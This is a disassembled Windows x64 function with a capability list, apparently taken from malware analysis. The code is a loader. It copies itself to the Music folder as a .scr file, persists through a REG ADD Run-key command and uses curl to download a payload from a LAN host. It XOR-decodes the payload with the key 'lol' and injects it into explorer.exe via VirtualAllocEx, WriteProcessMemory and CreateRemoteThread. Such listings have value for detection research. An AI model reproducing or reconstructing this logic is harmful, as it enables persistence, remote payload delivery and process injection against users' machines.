Function at 0x1400010d0
Capabilities:
Create process on windows
Create thread
Encode data using xor
Enumerate processes
Execute command
Get common file path
Persist via run registry key
Schedule task via at
Set current directory
Set registry value
Terminate process

Disassembly:
push rbp
push rbx
push r12
push r15
lea rbp, [rsp - 0x858]
sub rsp, 0x958
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x840], rax
mov r15, rdx
mov r12d, ecx
lea rdx, [rbp + 0x530]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, [rbp + 0x420]
mov ecx, 0x104
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x14000113a
lea rdx, [rbp + 0x420]
lea rcx, str.Current_working_directory_isss:__s_n
call fcn.140001010
test ebx, ebx
jne 0x140001152
lea rcx, str.Failed_to_retrieve_temporary_directory_path._n
call fcn.140001010
lea eax, [rbx + 1]
jmp 0x14000181e
lea r9, [rsp + 0x68]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140003340]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
je 0x140001183
lea rcx, str.Error_getting_music_folder_path_n
call fcn.140001010
mov eax, 1
jmp 0x14000181e
mov rdx, qword [rsp + 0x68]
lea rcx, [rbp + 0x2a0]
mov qword [rsp + 0x980], rsi
mov r8d, 0x104
mov qword [rsp + 0x990], rdi
mov qword [rsp + 0x998], r13
mov qword [rsp + 0x950], r14
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, [rbp + 0x2a0]
lea rcx, str.Music_Folder_Path:__s_n
call fcn.140001010
lea rdx, [rbp + 0x420]
lea rcx, str.Current_working_directory_path_is__s_n
call fcn.140001010
lea r8, [rbp + 0x2a0]
lea rdx, [rbp + 0x420]
lea rcx, str._s_n_s_n
call fcn.140001010
xor r13d, r13d
mov ecx, r13d
nop dword [rax]
movzx eax, byte [rbp + rcx + 0x2a0]
mov byte [rbp + rcx + 0x3b0], al
lea rcx, [rcx + 1]
test al, al
jne 0x140001210
lea rax, [rbp + 0x2a0]
dec rax
cmp byte [rax + 1], r13b
lea rax, [rax + 1]
jne 0x140001231
movups xmm0, xmmword [str._silkpookie.scr]
lea rcx, [rbp + 0x3b0]
movups xmmword [rax], xmm0
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rdx, [0x140003480]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
jne 0x1400013fb
mov rcx, qword [r15]
lea rdx, [0x140003480]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
xor edx, edx
mov rcx, rax
mov r14, rax
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, r14
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov rcx, rbx
mov rdi, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test ebx, ebx
jle 0x140001317
mov rbx, r13
nop dword [rax]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetc]
mov byte [rbx + rsi], al
inc rbx
cmp rbx, rdi
jl 0x1400012c0
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rdx, [0x140003484]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r14, rax
mov rbx, r13
nop word [rax + rax]
movsx ecx, byte [rbx + rsi]
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
inc rbx
cmp rbx, rdi
jl 0x140001300
jmp 0x140001337
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rdx, [0x140003484]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r14, rax
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea r8, [rbp + 0x2a0]
lea rdx, str.REG_ADD_HKCUSoftwareMicrosoftWindowsCurrentVersionRun__v__Pookie___t_REG_SZ__d___s___f
lea rcx, [rbp - 0x10]
call fcn.140001070
lea rdx, [rbp - 0x10]
lea rcx, [0x1400034ec]
call fcn.140001010
lea rcx, [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
mov dword [rbp - 0x80], 0x68
xor eax, eax
lea rdx, str.cmd.exe__B__C_start_____https:__r.mtdv.me_videos_lFpjRrvy_q_
mov dword [rbp - 0x1c], eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r13d
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400013fb
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rbp + 0x530]
lea rdx, str.cmd.exe__B__C_cd__s__curl__s__L__o_mtsilk.txt_http:__192.168.27.128:8080_MANY_RANGE.bin
lea rcx, [rbp + 0x640]
call fcn.140001070
xorps xmm0, xmm0
mov dword [rbp - 0x80], 0x68
xor eax, eax
lea rdx, [rbp + 0x640]
mov dword [rbp - 0x1c], eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r13d
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400014af
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x530]
mov byte [rbp + rcx + 0x230], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400014c0
lea r8, [rbp + 0x230]
dec r8
cmp byte [r8 + 1], r13b
lea r8, [r8 + 1]
jne 0x1400014e1
movsd xmm0, qword [str.mtsilk.txt]
lea rdx, [rbp + 0x230]
mov eax, dword [0x140003598]
lea rcx, [0x1400034ec]
movsd qword [r8], xmm0
mov dword [r8 + 8], eax
call fcn.140001010
lea rdx, [0x140003480]
lea rcx, [rbp + 0x230]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
xor edx, edx
mov rcx, rax
mov rdi, rax
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, rdi
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov rcx, rbx
mov rsi, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
test rax, rax
jne 0x140001579
lea rcx, str.Memory_allocation_failed_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
test ebx, ebx
jle 0x1400015f0
mov rbx, r13
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetc]
mov byte [rbx + r14], al
inc rbx
cmp rbx, rsi
jl 0x140001580
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov r9d, r13d
mov dword [rsp + 0x70], 0x6c6f6c
lea rax, [rsp + 0x70]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], r9b
jne 0x1400015b5
mov r8, r14
mov r10, rsi
nop dword [rax]
nop dword [rax + rax]
movsxd rax, r9d
lea r8, [r8 + 1]
xor edx, edx
inc r9d
div rcx
movzx eax, byte [rsp + rdx + 0x70]
xor byte [r8 - 1], al
sub r10, 1
jne 0x1400015d0
jmp 0x140001601
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov dword [rsp + 0x70], 0x6c6f6c
xorps xmm0, xmm0
mov dword [rbp - 0x80], 0x68
xor eax, eax
lea rdx, str.C:WindowsBrowserCoreBrowserCore.exe
mov dword [rbp - 0x1c], eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r13d
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14000167a
mov eax, r13d
jmp 0x140001695
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
test eax, eax
lea rdx, str._n____Failure_n
lea rcx, str._n___Success_____n
cmove rcx, rdx
call fcn.140001010
cmp r12d, 1
jne 0x140001764
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400016e0
lea rcx, str.Invalid_Name____n
call fcn.140001010
mov r8d, r13d
jmp 0x140001771
lea rdx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140001712
lea rcx, str.Trigger____n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r13d
jmp 0x140001771
mov r8d, 0x104
lea rdx, str.explorer.exe
lea rcx, [rbp + 0x1c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncmp]
mov rcx, rbx
test eax, eax
je 0x140001758
lea rdx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001712
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Not_found____n
call fcn.140001010
mov r8d, r13d
jmp 0x140001771
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rbp - 8]
jmp 0x140001771
mov rcx, qword [r15 + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov r8d, eax
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x14000179d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._nFailed_to_open_process__ld
call fcn.140001010
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x10
mov r8, rsi
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9, rsi
mov qword [rsp + 0x20], r13
mov rdx, rax
mov r8, r14
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r13
mov r9, rbx
mov dword [rsp + 0x28], r13d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rsp + 0x998]
xor eax, eax
mov rdi, qword [rsp + 0x990]
mov rsi, qword [rsp + 0x980]
mov r14, qword [rsp + 0x950]
mov rcx, qword [rbp + 0x840]
xor rcx, rsp
call fcn.140001850
add rsp, 0x958
pop r15
pop r12
pop rbx
pop rbp
ret